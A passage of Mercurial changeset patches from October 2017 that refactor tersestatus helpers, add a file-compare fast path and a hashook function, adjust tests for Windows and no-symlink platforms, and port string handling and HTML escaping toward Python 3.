+
+        1) All the files in the directory (including all the files in its
+        subdirectories) share the same status and the user has asked us to terse
+        that status. -> we add the directory name to status list and return
+
+        2) If '1)' does not happen, we do following:
+
+                a) Add all the files which are in this directory (only the ones in
+                    this directory, not the subdirs) to their respective status list
+
+                b) Recurse the function on all the subdirectories of this
+                   directory
+        """
+
+        if len(self.statuses) == 1:
+            onlyst = self.statuses.pop()
+
+            # Making sure we terse only when the status abbreviation is
+            # passed as terse argument
+            if onlyst in terseargs:
+                tersedict[onlyst].append(self.path + pycompat.ossep)
+                return
+
+        # add the files to status list
+        self._addfilestotersed(tersedict)
+
+        #recurse on the subdirs
+        for dirobj in self.subdirs.values():
+            dirobj._processtersestatus(tersedict, terseargs)
 
 def tersedir(statuslist, terseargs):
     """
@@ -553,11 +558,11 @@
         tersedict[attrname[0]] = []
 
     # we won't be tersing the root dir, so add files in it
-    _addfilestotersed(rootobj.path, rootobj.files, tersedict)
+    rootobj._addfilestotersed(tersedict)
 
     # process each sub-directory and build tersedict
     for subdir in rootobj.subdirs.values():
-        _processtersestatus(subdir, tersedict, terseargs)
+        subdir._processtersestatus(tersedict, terseargs)
 
     tersedlist = []
     for st in allst:
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1507847526 -19800
#      Fri Oct 13 04:02:06 2017 +0530
# Node ID 5d98674df18ab8aeaa4a27890061b1e1b99b6f3b
# Parent  3d6d4b12128e8056f988bf36be1fc46e4c7b29dc
tersestatus: avoid modifying tersedict

Turn dirnode's methods into generators which can be used to update "tersedict"
in caller. So instead of passing the "tersedict" to be mutated here and there,
it's now clearer where it is updated as it's purely a local variable to
tersedir() function.

While I was here, I renamed _processtersestatus to tersewalk and
_addfilestotersed to iterfilepaths.

Differential Revision: https://phab.mercurial-scm.org/D1043

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -462,19 +462,17 @@
         if status not in self.statuses:
             self.statuses.add(status)
 
-    def _addfilestotersed(self, tersedict):
+    def iterfilepaths(self):
         """
         adds files to the their respective status list in the final tersed list
 
         path is the path of parent directory of the file
         files is a list of tuple where each tuple is (filename, status)
-        tersedict is a dictonary which contains each status abbreviation as key and
-        list of files and tersed dirs in that status as value
         """
         for f, st in self.files:
-            tersedict[st].append(os.path.join(self.path, f))
-
-    def _processtersestatus(self, tersedict, terseargs):
+            yield st, os.path.join(self.path, f)
+
+    def tersewalk(self, terseargs):
         """
         a recursive function which process status for a certain directory.
 
@@ -494,12 +492,12 @@
 
         1) All the files in the directory (including all the files in its
         subdirectories) share the same status and the user has asked us to terse
-        that status. -> we add the directory name to status list and return
+        that status. -> yield (status, dirpath)
 
         2) If '1)' does not happen, we do following:
 
-                a) Add all the files which are in this directory (only the ones in
-                    this directory, not the subdirs) to their respective status list
+                a) Yield (status, filepath)  for all the files which are in this
+                    directory (only the ones in this directory, not the subdirs)
 
                 b) Recurse the function on all the subdirectories of this
                    directory
@@ -511,15 +509,17 @@
             # Making sure we terse only when the status abbreviation is
             # passed as terse argument
             if onlyst in terseargs:
-                tersedict[onlyst].append(self.path + pycompat.ossep)
+                yield onlyst, self.path + pycompat.ossep
                 return
 
         # add the files to status list
-        self._addfilestotersed(tersedict)
+        for st, fpath in self.iterfilepaths():
+            yield st, fpath
 
         #recurse on the subdirs
         for dirobj in self.subdirs.values():
-            dirobj._processtersestatus(tersedict, terseargs)
+            for st, fpath in dirobj.tersewalk(terseargs):
+                yield st, fpath
 
 def tersedir(statuslist, terseargs):
     """
@@ -536,7 +536,7 @@
 
     tersedict (defined in the function) is a dictionary which has one word key
     for each status and a list of files and dir in that status as the respective
-    value. The dictionary is passed to other helper functions which builds it.
+    value.
     """
     # the order matters here as that is used to produce final list
     allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
@@ -558,11 +558,13 @@
         tersedict[attrname[0]] = []
 
     # we won't be tersing the root dir, so add files in it
-    rootobj._addfilestotersed(tersedict)
+    for st, fpath in rootobj.iterfilepaths():
+        tersedict[st].append(fpath)
 
     # process each sub-directory and build tersedict
     for subdir in rootobj.subdirs.values():
-        subdir._processtersestatus(tersedict, terseargs)
+        for st, f in subdir.tersewalk(terseargs):
+            tersedict[st].append(f)
 
     tersedlist = []
     for st in allst:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1507923605 25200
#      Fri Oct 13 12:40:05 2017 -0700
# Node ID 6036e6e205cae997a5745a63316d69597416aca9
# Parent  5d98674df18ab8aeaa4a27890061b1e1b99b6f3b
context: add a fast-comparision for arbitraryfilectx and workingfilectx

Differential Revision: https://phab.mercurial-scm.org/D1056

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -8,6 +8,7 @@
 from __future__ import absolute_import
 
 import errno
+import filecmp
 import os
 import re
 import stat
@@ -2554,11 +2555,17 @@
     """Allows you to use filectx-like functions on a file in an arbitrary
     location on disk, possibly not in the working directory.
     """
-    def __init__(self, path):
+    def __init__(self, path, repo=None):
+        # Repo is optional because contrib/simplemerge uses this class.
+        self._repo = repo
         self._path = path
 
-    def cmp(self, otherfilectx):
-        return self.data() != otherfilectx.data()
+    def cmp(self, fctx):
+        if isinstance(fctx, workingfilectx) and self._repo:
+            # Add a fast-path for merge if both sides are disk-backed.
+            # Note that filecmp uses the opposite return values as cmp.
+            return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
+        return self.data() != fctx.data()
 
     def path(self):
         return self._path
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1507927337 -7200
#      Fri Oct 13 22:42:17 2017 +0200
# Node ID 0d1b8be8d8a803f8b664804540fade1215b9a923
# Parent  6036e6e205cae997a5745a63316d69597416aca9
build: for the bootstrap phase of a deb/rpm build pure-py mercurial is enough

When bootstrapping a deb/rpm build, packagelib.sh starts performing a local
build for the sole purpose of parsing the output of "hg version".
Then it "hg archive"s the source code, and builds everything again.

For that initial step, we are perfectly good in using a pure python mercurial,
without compiling the c modules (base85, bdiff, zstdlib, ...).

On my personal system, this cuts down 22 seconds for a package build (the
bootstrapping build goes from ~30 to ~8 seconds).

diff --git a/contrib/packagelib.sh b/contrib/packagelib.sh
--- a/contrib/packagelib.sh
+++ b/contrib/packagelib.sh
@@ -9,7 +9,7 @@
 # node: the node|short hg was built from, or empty if built from a tag
 gethgversion() {
     make cleanbutpackages
-    make local || make local PURE=--pure
+    make local PURE=--pure
     HG="$PWD/hg"
 
     "$HG" version > /dev/null || { echo 'abort: hg version failed!'; exit 1 ; }
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507460911 -7200
#      Sun Oct 08 13:08:31 2017 +0200
# Node ID e79b6300d97c6c70e032c78a4e18670c0a0e6e7a
# Parent  0d1b8be8d8a803f8b664804540fade1215b9a923
hook: add a 'hashook' function to test for hook existence

Preparing the data for some hooks can be expensive. Add a function to check if
a hook exists so we can skip useless preparation if no hook is configured.

diff --git a/mercurial/hook.py b/mercurial/hook.py
--- a/mercurial/hook.py
+++ b/mercurial/hook.py
@@ -189,6 +189,15 @@
     global _redirect
     _redirect = state
 
+def hashook(ui, htype):
+    """return True if a hook is configured for 'htype'"""
+    if not ui.callhooks:
+        return False
+    for hname, cmd in _allhooks(ui):
+        if hname.split('.')[0] == htype and cmd:
+            return True
+    return False
+
 def hook(ui, repo, htype, throw=False, **args):
     if not ui.callhooks:
         return False
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507955834 -32400
#      Sat Oct 14 13:37:14 2017 +0900
# Node ID a88166a4dce37f142cb48dec19294973476f66c7
# Parent  e79b6300d97c6c70e032c78a4e18670c0a0e6e7a
test-i18n: guard gettext test appropriately

diff --git a/tests/test-i18n.t b/tests/test-i18n.t
--- a/tests/test-i18n.t
+++ b/tests/test-i18n.t
@@ -49,6 +49,8 @@
   $ $PYTHON check-translation.py --doctest
   $ cd $TESTTMP
 
+#if gettext
+
 Check i18n cache isn't reused after encoding change:
 
   $ cat > $TESTTMP/encodingchange.py << EOF
@@ -68,3 +70,5 @@
   (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
   (?????)
   (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
+
+#endif
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1507954046 14400
#      Sat Oct 14 00:07:26 2017 -0400
# Node ID f07cf12e740f44516d83f59a7bdc47dad5de99da
# Parent  a88166a4dce37f142cb48dec19294973476f66c7
test-audit-path: fill in missing output for no-symlink case

It looks like this was meant to go with 989e884d1be9.

diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -110,6 +110,7 @@
 #else
 ('back' will be a file and cause some other system specific error)
   $ hg update -Cr2
+  back: is both a file and a directory
   abort: * (glob)
   [255]
 #endif
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1507954859 14400
#      Sat Oct 14 00:20:59 2017 -0400
# Node ID 54efbbec466d2fb4ebe43dde824e20507f643259
# Parent  f07cf12e740f44516d83f59a7bdc47dad5de99da
test-extdata: conditonalize error message for Windows

diff --git a/tests/test-extdata.t b/tests/test-extdata.t
--- a/tests/test-extdata.t
+++ b/tests/test-extdata.t
@@ -88,7 +88,8 @@
   $ mkdir sub
   $ cd sub
   $ hg log -qr "extdata(filedata)"
-  abort: error: No such file or directory
+  abort: error: The system cannot find the file specified (windows !)
+  abort: error: No such file or directory (no-windows !)
   [255]
   $ hg log -qr "extdata(shelldata)"
   2:f6ed99a58333
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1507957679 14400
#      Sat Oct 14 01:07:59 2017 -0400
# Node ID 857fc3313f7b5b1b236416293b729176f4dab91e
# Parent  54efbbec466d2fb4ebe43dde824e20507f643259
test-conflicts: conditionalize for no-symlink platforms

It seems better to create standin files for the symlinks, rather than blacklist
the entire tests.  Especially since link vs file doesn't seem to affect the
tests.

There is more instability in test-pathconflicts-{basic,merge}.t that I can't
figure out.

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -75,13 +75,19 @@
 
   $ hg up -q 0
   $ mkdir ../sym-link-target
+#if symlink
   $ ln -s ../../../sym-link-target b
+#else
+  $ touch b
+#endif
   $ hg up b1
   b: replacing untracked file
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
+#if symlink
   $ readlink.py .hg/origbackups/b
   .hg/origbackups/b -> ../../../sym-link-target
+#endif
 
 Perform an update that causes b/c to be backed up again - it should not go into the target dir
 
@@ -111,7 +117,8 @@
   b/c: replacing untracked file
   getting b/c
   creating directory: $TESTTMP/repo/.hg/badorigbackups/b
-  abort: Not a directory: '$TESTTMP/repo/.hg/badorigbackups/b'
+  abort: The system cannot find the path specified: '$TESTTMP/repo/.hg/badorigbackups/b' (glob) (windows !)
+  abort: Not a directory: '$TESTTMP/repo/.hg/badorigbackups/b' (no-windows !)
   [255]
   $ cat .hg/badorigbackups
   data
diff --git a/tests/test-pathconflicts-update.t b/tests/test-pathconflicts-update.t
--- a/tests/test-pathconflicts-update.t
+++ b/tests/test-pathconflicts-update.t
@@ -15,7 +15,11 @@
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ mkdir a
+#if symlink
   $ ln -s c a/b
+#else
+  $ touch a/b
+#endif
   $ hg add a/b
   $ hg commit -m "link"
   created new head
@@ -50,7 +54,11 @@
 
   $ hg up -q 0
   $ mkdir a
+#if symlink
   $ ln -s x a/b
+#else
+  $ touch a/b
+#endif
   $ hg up dir
   a/b: untracked file conflicts with directory
   abort: untracked files in working directory differ from files in requested revision
@@ -59,8 +67,10 @@
   a/b: replacing untracked file
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark dir)
+#if symlink
   $ readlink.py a/b.orig
   a/b.orig -> x
+#endif
   $ rm a/b.orig
 
 Update - local directory conflicts with remote file
@@ -94,8 +104,10 @@
   a/b: replacing untracked files in directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark link)
+#if symlink
   $ readlink.py a/b
   a/b -> c
+#endif
   $ test -d a/b.orig
   $ rm -rf a/b.orig
 
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1507958412 14400
#      Sat Oct 14 01:20:12 2017 -0400
# Node ID 4c322b95a6ab7edf81ec6a7971c2746340da27b0
# Parent  857fc3313f7b5b1b236416293b729176f4dab91e
tests: add globs for Windows

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -29,7 +29,7 @@
   resolving manifests
   b/c: replacing untracked file
   getting b/c
-  creating directory: $TESTTMP/repo/.hg/origbackups/b
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -f .hg/origbackups/b/c
@@ -51,7 +51,7 @@
   resolving manifests
   b: replacing untracked file
   getting b
-  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b
+  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
   $ test -f .hg/origbackups/b
@@ -65,8 +65,8 @@
   resolving manifests
   b/c: replacing untracked file
   getting b/c
-  creating directory: $TESTTMP/repo/.hg/origbackups/b
-  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -d .hg/origbackups/b
@@ -98,8 +98,8 @@
   resolving manifests
   b/c: replacing untracked file
   getting b/c
-  creating directory: $TESTTMP/repo/.hg/origbackups/b
-  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ cat .hg/origbackups/b/c
@@ -116,7 +116,7 @@
   resolving manifests
   b/c: replacing untracked file
   getting b/c
-  creating directory: $TESTTMP/repo/.hg/badorigbackups/b
+  creating directory: $TESTTMP/repo/.hg/badorigbackups/b (glob)
   abort: The system cannot find the path specified: '$TESTTMP/repo/.hg/badorigbackups/b' (glob) (windows !)
   abort: Not a directory: '$TESTTMP/repo/.hg/badorigbackups/b' (no-windows !)
   [255]
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227305 14400
#      Thu Oct 05 14:15:05 2017 -0400
# Node ID 56bb07a0b75c8c5de1bf8ac533eab65f7256f8e3
# Parent  4c322b95a6ab7edf81ec6a7971c2746340da27b0
python3: move from using func_name to __name__

Previously reviewed as D964, but required some fixups and therefore
seems to need a new revision.

Differential Revision: https://phab.mercurial-scm.org/D1065

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -90,7 +90,7 @@
         if not encresref:
             return encargsorres # a local result in this case
         self = args[0]
-        encresref.set(self._submitone(f.func_name, encargsorres))
+        encresref.set(self._submitone(f.__name__, encargsorres))
         return next(batchable)
     setattr(plain, 'batchable', f)
     return plain
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -427,9 +427,9 @@
         sym = findsymbolicname(arg)
         if sym:
             msg = (_("template filter '%s' is not compatible with keyword '%s'")
-                   % (filt.func_name, sym))
+                   % (filt.__name__, sym))
         else:
-            msg = _("incompatible use of template filter '%s'") % filt.func_name
+            msg = _("incompatible use of template filter '%s'") % filt.__name__
         raise error.Abort(msg)
 
 def buildmap(exp, context):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507964246 14400
#      Sat Oct 14 02:57:26 2017 -0400
# Node ID 2976cf87a60a4233868a512a1e4fcfc2105fa915
# Parent  56bb07a0b75c8c5de1bf8ac533eab65f7256f8e3
url: add cgi.escape equivalent for bytestrings

This seems like a sensible enough place to put it.

Differential Revision: https://phab.mercurial-scm.org/D1066

diff --git a/mercurial/url.py b/mercurial/url.py
--- a/mercurial/url.py
+++ b/mercurial/url.py
@@ -30,6 +30,21 @@
 urlerr = util.urlerr
 urlreq = util.urlreq
 
+def escape(s, quote=None):
+    '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
+    If the optional flag quote is true, the quotation mark character (")
+    is also translated.
+
+    This is the same as cgi.escape in Python, but always operates on
+    bytes, whereas cgi.escape in Python 3 only works on unicodes.
+    '''
+    s = s.replace(b"&", b"&amp;")
+    s = s.replace(b"<", b"&lt;")
+    s = s.replace(b">", b"&gt;")
+    if quote:
+        s = s.replace(b'"', b"&quot;")
+    return s
+
 class passwordmgr(object):
     def __init__(self, ui, passwddb):
         self.ui = ui
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227380 14400
#      Thu Oct 05 14:16:20 2017 -0400
# Node ID e178fcaa3933be679293dbca926c56f486c79d85
# Parent  2976cf87a60a4233868a512a1e4fcfc2105fa915
python3: use our bytes-only version of cgi.escape everywhere

As suggested by Yuya in D965.

Differential Revision: https://phab.mercurial-scm.org/D1067

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import cgi
 import copy
 import mimetypes
 import os
@@ -38,6 +37,7 @@
     smartset,
     templatefilters,
     templater,
+    url,
     util,
 )
 
@@ -1250,9 +1250,9 @@
             node = str(ctx)
             age = encodestr(templatefilters.age(ctx.date()))
             desc = templatefilters.firstline(encodestr(ctx.description()))
-            desc = cgi.escape(templatefilters.nonempty(desc))
-            user = cgi.escape(templatefilters.person(encodestr(ctx.user())))
-            branch = cgi.escape(encodestr(ctx.branch()))
+            desc = url.escape(templatefilters.nonempty(desc))
+            user = url.escape(templatefilters.person(encodestr(ctx.user())))
+            branch = url.escape(encodestr(ctx.branch()))
             try:
                 branchnode = web.repo.branchtip(branch)
             except error.RepoLookupError:
@@ -1261,8 +1261,8 @@
 
             if usetuples:
                 data.append((node, vtx, edges, desc, user, age, branch,
-                             [cgi.escape(encodestr(x)) for x in ctx.tags()],
-                             [cgi.escape(encodestr(x))
+                             [url.escape(encodestr(x)) for x in ctx.tags()],
+                             [url.escape(encodestr(x))
                               for x in ctx.bookmarks()]))
             else:
                 edgedata = [{'col': edge[0], 'nextcol': edge[1],
diff --git a/mercurial/minirst.py b/mercurial/minirst.py
--- a/mercurial/minirst.py
+++ b/mercurial/minirst.py
@@ -20,13 +20,13 @@
 
 from __future__ import absolute_import
 
-import cgi
 import re
 
 from .i18n import _
 from . import (
     encoding,
     pycompat,
+    url,
     util,
 )
 
@@ -552,7 +552,7 @@
     listnest = []
 
     def escape(s):
-        return cgi.escape(s, True)
+        return url.escape(s, True)
 
     def openlist(start, level):
         if not listnest or listnest[-1][0] != start:
diff --git a/mercurial/templatefilters.py b/mercurial/templatefilters.py
--- a/mercurial/templatefilters.py
+++ b/mercurial/templatefilters.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import cgi
 import os
 import re
 import time
@@ -19,6 +18,7 @@
     pycompat,
     registrar,
     templatekw,
+    url,
     util,
 )
 
@@ -128,7 +128,7 @@
     """Any text. Replaces the special XML/XHTML characters "&", "<"
     and ">" with XML entities, and filters out NUL characters.
     """
-    return cgi.escape(text.replace('\0', ''), True)
+    return url.escape(text.replace('\0', ''), True)
 
 para_re = None
 space_re = None
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1442254591 14400
#      Mon Sep 14 14:16:31 2015 -0400
# Node ID 15b561fffde541a4ef3f6dcb0570efe45615cd35
# Parent  e178fcaa3933be679293dbca926c56f486c79d85
hghave: add a check for clang-format

Differential Revision: https://phab.mercurial-scm.org/D1068

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -439,6 +439,11 @@
                        br"Usage:  pylint",
                        True)
 
+@check("clang-format", "clang-format C code formatter")
+def has_clang_format():
+    return matchoutput("clang-format --help",
+                       r"^OVERVIEW: A tool to format C/C\+\+[^ ]+ code.")
+
 @check("pygments", "Pygments source highlighting library")
 def has_pygments():
     try:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128770 14400
#      Wed Oct 04 10:52:50 2017 -0400
# Node ID ce77b0563228507ddf879d2d794789ac6ebebc23
# Parent  15b561fffde541a4ef3f6dcb0570efe45615cd35
bitmanipulation: reformat with clang-format

Mostly un-wrapping over-wrapped definitions.

Differential Revision: https://phab.mercurial-scm.org/D1069

diff --git a/mercurial/bitmanipulation.h b/mercurial/bitmanipulation.h
--- a/mercurial/bitmanipulation.h
+++ b/mercurial/bitmanipulation.h
@@ -9,26 +9,21 @@
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 24) |
-		(d[1] << 16) |
-		(d[2] << 8) |
-		(d[3]));
+	return ((d[0] << 24) | (d[1] << 16) | (d[2] << 8) | (d[3]));
 }
 
 static inline int16_t getbeint16(const char *c)
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 8) |
-		(d[1]));
+	return ((d[0] << 8) | (d[1]));
 }
 
 static inline uint16_t getbeuint16(const char *c)
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 8) |
-		(d[1]));
+	return ((d[0] << 8) | (d[1]));
 }
 
 static inline void putbe32(uint32_t x, char *c)
@@ -36,7 +31,7 @@
 	c[0] = (x >> 24) & 0xff;
 	c[1] = (x >> 16) & 0xff;
 	c[2] = (x >> 8) & 0xff;
-	c[3] = (x) & 0xff;
+	c[3] = (x)&0xff;
 }
 
 static inline double getbefloat64(const char *c)
@@ -46,7 +41,7 @@
 	int i;
 	uint64_t t = 0;
 	for (i = 0; i < 8; i++) {
-		t = (t<<8) + d[i];
+		t = (t << 8) + d[i];
 	}
 	memcpy(&ret, &t, sizeof(t));
 	return ret;
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1507980817 -7200
#      Sat Oct 14 13:33:37 2017 +0200
# Node ID 23eb03f469296576509734747dac6f933e562b13
# Parent  ce77b0563228507ddf879d2d794789ac6ebebc23
tersestatus: rework dirnode and tersedir docstrings

Follow-up on refactorings 3d6d4b12128e and 5d98674df18a of the original
changeset 7e3001b74ab3 by updating the docstrings of dirnode class and tersedir
function:

* rewrite dirnode.iterfilepaths()'s docstring (the method got
  renamed and reimplemented in 5d98674df18a);
* simplify and update dirnode.tersewalk() to remove reference to 'self' and
  'tersedict';
* use the imperative form of verbs in the first sentence of all docstrings.

Differential Revision: https://phab.mercurial-scm.org/D1072

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -409,9 +409,8 @@
 
 class dirnode(object):
     """
-    represents a directory in user working copy
-
-    stores information which is required for purpose of tersing the status
+    Represent a directory in user working copy with information required for
+    the purpose of tersing its status.
 
     path is the path to the directory
 
@@ -431,16 +430,16 @@
         self.subdirs = {}
 
     def _addfileindir(self, filename, status):
-        """ adds a file in this directory as the direct child """
+        """Add a file in this directory as a direct child."""
         self.files.append((filename, status))
 
     def addfile(self, filename, status):
         """
-        adds a file which is present in this directory to its direct parent
-        dirnode object
-
-        if the file is not direct child of this directory, we traverse to the
-        directory of which this file is a direct child of and add the file there
+        Add a file to this directory or to its direct parent directory.
+
+        If the file is not direct child of this directory, we traverse to the
+        directory of which this file is a direct child of and add the file
+        there.
         """
 
         # the filename contains a path separator, it means it's not the direct
@@ -463,27 +462,14 @@
             self.statuses.add(status)
 
     def iterfilepaths(self):
-        """
-        adds files to the their respective status list in the final tersed list
-
-        path is the path of parent directory of the file
-        files is a list of tuple where each tuple is (filename, status)
-        """
+        """Yield (status, path) for files directly under this directory."""
         for f, st in self.files:
             yield st, os.path.join(self.path, f)
 
     def tersewalk(self, terseargs):
         """
-        a recursive function which process status for a certain directory.
-
-        self is an oject of dirnode class defined below. each object of dirnode
-        class has a set of statuses which files in that directory has. This ease
-        our check whether we can terse that directory or not.
-
-        tersedict is a dictonary which contains each status abbreviation as key
-        and list of files and tersed dirs in that status as value. In each
-        function call we are passing the same dict and adding files and dirs
-        to it.
+        Yield (status, path) obtained by processing the status of this
+        dirnode.
 
         terseargs is the string of arguments passed by the user with `--terse`
         flag.
@@ -494,7 +480,7 @@
         subdirectories) share the same status and the user has asked us to terse
         that status. -> yield (status, dirpath)
 
-        2) If '1)' does not happen, we do following:
+        2) Otherwise, we do following:
 
                 a) Yield (status, filepath)  for all the files which are in this
                     directory (only the ones in this directory, not the subdirs)
@@ -523,7 +509,7 @@
 
 def tersedir(statuslist, terseargs):
     """
-    terses the status if all the files in a directory shares the same status
+    Terse the status if all the files in a directory shares the same status.
 
     statuslist is scmutil.status() object which contains a list of files for
     each status.
@@ -533,10 +519,6 @@
     The function makes a tree of objects of dirnode class, and at each node it
     stores the information required to know whether we can terse a certain
     directory or not.
-
-    tersedict (defined in the function) is a dictionary which has one word key
-    for each status and a list of files and dir in that status as the respective
-    value.
     """
     # the order matters here as that is used to produce final list
     allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508004459 14400
#      Sat Oct 14 14:07:39 2017 -0400
# Node ID 375c8debe336039362d1e11c2412a8846f182e80
# Parent  23eb03f469296576509734747dac6f933e562b13
httppeer: pass url to urllib as native str, not bytes

Differential Revision: https://phab.mercurial-scm.org/D1075

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -283,7 +283,7 @@
         if varyheaders:
             headers['Vary'] = ','.join(varyheaders)
 
-        req = self._requestbuilder(cu, data, headers)
+        req = self._requestbuilder(pycompat.strurl(cu), data, headers)
 
         if data is not None:
             self.ui.debug("sending %s bytes\n" % size)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507228191 14400
#      Thu Oct 05 14:29:51 2017 -0400
# Node ID 8e5132ece156d0fcbc8749a5e909f3a5abd74043
# Parent  375c8debe336039362d1e11c2412a8846f182e80
hgweb: more native string treatment in query string parsing

Differential Revision: https://phab.mercurial-scm.org/D1076

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -37,10 +37,10 @@
     Just like CGI environment, the path is unquoted, the query is
     not.
     """
-    if '?' in uri:
-        path, query = uri.split('?', 1)
+    if r'?' in uri:
+        path, query = uri.split(r'?', 1)
     else:
-        path, query = uri, ''
+        path, query = uri, r''
     return urlreq.unquote(path), query
 
 class _error_logger(object):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506874354 14400
#      Sun Oct 01 12:12:34 2017 -0400
# Node ID 6db536bed7ecac3a892a7165e51212a21647719b
# Parent  8e5132ece156d0fcbc8749a5e909f3a5abd74043
httppeer: use native strings for headers

On Python 3, we need to use unicodes, rather than bytes. This lets
test-pull.t get a lot further along.

Differential Revision: https://phab.mercurial-scm.org/D887

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -221,7 +221,7 @@
                 argsio = io.BytesIO(strargs)
                 argsio.length = len(strargs)
                 data = _multifile(argsio, data)
-            headers['X-HgArgs-Post'] = len(strargs)
+            headers[r'X-HgArgs-Post'] = len(strargs)
         else:
             if len(args) > 0:
                 httpheader = self.capable('httpheader')
@@ -244,10 +244,10 @@
         elif data is not None:
             size = len(data)
         if size and self.ui.configbool('ui', 'usehttp2'):
-            headers['Expect'] = '100-Continue'
-            headers['X-HgHttp2'] = '1'
-        if data is not None and 'Content-Type' not in headers:
-            headers['Content-Type'] = 'application/mercurial-0.1'
+            headers[r'Expect'] = r'100-Continue'
+            headers[r'X-HgHttp2'] = r'1'
+        if data is not None and r'Content-Type' not in headers:
+            headers[r'Content-Type'] = r'application/mercurial-0.1'
 
         # Tell the server we accept application/mercurial-0.2 and multiple
         # compression formats if the server is capable of emitting those
@@ -281,7 +281,7 @@
                 varyheaders.append(header)
 
         if varyheaders:
-            headers['Vary'] = ','.join(varyheaders)
+            headers[r'Vary'] = r','.join(varyheaders)
 
         req = self._requestbuilder(pycompat.strurl(cu), data, headers)
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507229311 14400
#      Thu Oct 05 14:48:31 2017 -0400
# Node ID b2316265a32eaffc2c9b598f691e51d1431b5d3a
# Parent  6db536bed7ecac3a892a7165e51212a21647719b
hgweb: rewrite two X or Y and Z ad-hoc ternaries with Y if X else Z

Just easier to muddle through for my brain now that I don't see the
old pattern much anymore.

Differential Revision: https://phab.mercurial-scm.org/D1077

diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -187,7 +187,7 @@
         if style == styles[0]:
             vars['style'] = style
 
